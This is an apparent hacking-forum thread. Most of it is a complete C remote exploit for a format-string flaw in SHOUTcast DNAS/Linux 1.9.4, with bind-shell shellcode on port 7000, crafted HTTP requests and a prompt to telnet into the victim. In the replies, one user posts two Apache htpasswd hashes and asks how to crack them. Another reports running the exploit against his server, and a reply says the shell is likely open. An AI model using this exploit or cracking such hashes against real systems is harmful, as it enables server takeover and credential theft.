hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Rigpa
SHOUTcast DNAS/Linux v1.9.4 format string Remote Exploit
Date : 23/12/2004

CODE
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit                        */
/* Damian Put <pucik cc-team org> Cyber-Crime Team (www.CC-Team.org)  */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0)                                         */
/* When exploit only crash SHOUTcast we should calculate new address:         */
/*                                                                                                              */
/* bash-2.05b$ gdb sc_serv core                                                                  */
/* ...                                                                                                          */
/* (gdb) x/x $edi                                                                                         */
/* 0xbe462270:     0x78257825                                                                    */
/* (gdb) x/x 0xbe462270-996                                                                      */
/* 0xbe461e8c:     0x5050c031                                                                    */
/*                                                                                                              */
/* 0xbe461e8c - This is our shellcode addr                                                    */
/*                                                                                                              */
/* Now we "only" must change format string code in req2 :-)                          */


#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* Default SHOUTcast port */
#define PORT 8000
 
char shellcode[] =  //bindshellcode (port 7000)
     "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
     "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
     "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
     "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
     "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
     "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
     "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
     "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
 
int main(int argc, char *argv[])
{
     int sock;
     char *host;
     struct hostent *h;
     struct sockaddr_in dest;
     
     char req1[1024] = "GET /content/AA"
     /* sprintf GOT addr */
     "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
     
     strcat(req1, shellcode);
     strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
     
     /* We cannot use %numberx and %number$n (filtered) */
     /* 0xbf3feee0 -  shellcode addr on slackware 9.1   */
     char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
     %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-
     %n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAA
      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
      AAAAAAAAAAAAAAAAAAAAAAAAA-
%n.mp3"
     " HTTP/1.0\r\n\r\n";
     
     
printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
     if(argc < 2)
     {
           printf("Usage: %s <host>\n", argv[0]);
           exit(0);
     }
     
     host = argv[1];
     
     if(!(h = gethostbyname(host)))
     {
           fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
           exit(-1);
     }

     sock = socket(PF_INET, SOCK_STREAM, 0);
     
     dest.sin_addr=*((struct in_addr*)h->h_addr);
     dest.sin_family = PF_INET;
     dest.sin_port = htons(PORT);
     
     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
           exit(-1);
     }
     
     printf("[*] Sending first request ...\n");
     write(sock, req1, strlen(req1));
     
     close(sock);
     
     sock = socket(PF_INET, SOCK_STREAM, 0);
     
     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
           exit(-1);
     }
     
     printf("[*] Sending second request ...\n");
     write(sock, req2, strlen(req2));

     close(sock);
     
     printf("[*] Try telnet %s 7000 :)\n", host);
     
     return 0;
}


from the k-otic site here
ind0r
Great! Thx a lot.

Sorry for this note but I can't write my own posts. Please anybody to help me. I got question. Does anybody know how to break password of htpasswd (in Apache). I got something like that:

ind0r:$apr1$YKuu7...$OkmOPm.yk5uY3ykh/5Ieq/
ind0r2:$apr1$Lu1I8/..$54PcBo6JgovtLjmpjByrk1

Could anybody say how to crack it? I'll be very pleasure. Thx of all!
mystic_traveller
Hi, I have just read the exploit that you have put up. I am a newbie to this kinda thing and would appreciate a little help if you could spare the time and are willing to.

I have been renting a server for about a year now. It is running on redhat 9 (upgrading to fedora core 3 soon). I provide shoutcast for some of my friends which I make a few quid a month from. The version of shoutcast I am running is 1.9.4 which corresponds with the exploit version.
Now the problem. I don't have any programming experience at all and would appreciate if you could tell me how to compile this code. Ill tell you what I have tried so far.

1. Opened visual studio then visual c++. I then selected new win32 console application in the project tab and c++ source in the file tab. From here I just pasted the code then went to buid and got a complaint about an error.

2. On my linux box i copied a txt document from my windows box that was called shoutcast.txt then renamed the file to shoutcast.c. Now i typed "gcc shoutcast.c -o exploit.c. it compiled but i got warnings "warning: multi-line string literals are deprecated"

I then ran the code "./exploit.c [ip address]

and it just returns "[*] Sending first request ...
[*] Sending second request ...
[*] Try telnet [ip address] 7000 smile.gif

from here it appears that nothing has happened. I am going wrong somewhere?

Thanks
ZoRn
QUOTE(mystic_traveller @ Jan 3 2005, 01:09 PM)
Hi, I have just read the exploit that you have put up. I am a newbie to this kinda thing and would appreciate a little help if you could spare the time and are willing to.

I have been renting a server for about a year now. It is running on redhat 9 (upgrading to fedora core 3 soon). I provide shoutcast for some of my friends which I make a few quid a month from. The version of shoutcast I am running is 1.9.4 which corresponds with the exploit version.
Now the problem. I don't have any programming experience at all and would appreciate if you could tell me how to compile this code. Ill tell you what I have tried so far.

1. Opened visual studio then visual c++. I then selected new win32 console application in the project tab and c++ source in the file tab. From here I just pasted the code then went to buid and got a complaint about an error.

2. On my linux box i copied a txt document from my windows box that was called shoutcast.txt then renamed the file to shoutcast.c. Now i typed "gcc shoutcast.c -o exploit.c. it compiled but i got warnings "warning: multi-line string literals are deprecated"

I then ran the code "./exploit.c [ip address]

and it just returns "[*] Sending first request ...
[*] Sending second request ...
[*] Try telnet [ip  address] 7000 smile.gif

from here it appears that nothing has happened. I am going wrong somewhere?

Thanks
*




it looks like its done to me ;>
try to telnet the ipaddress in port 7000
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.